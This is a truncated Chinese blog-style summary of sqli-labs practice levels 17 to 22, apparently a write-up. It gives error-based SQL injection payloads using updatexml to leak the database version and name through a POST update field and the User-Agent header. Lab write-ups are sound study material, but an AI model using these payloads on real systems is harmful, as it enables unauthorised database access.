sqlilab 17-22简略版

1.POST update注入（17关） 爆出数据库的版本，1' or updatexml (1,concat(0x7e,version(),0x7e),1) # 2.Header报错 （18关） 在UA末尾添加'报错，存在注入点 注入语句：1',1,updatexml(1,concat(0x7e,database(),0x7e),1)) # 爆出数据库为security   3.Referer（

>>阅读原文<<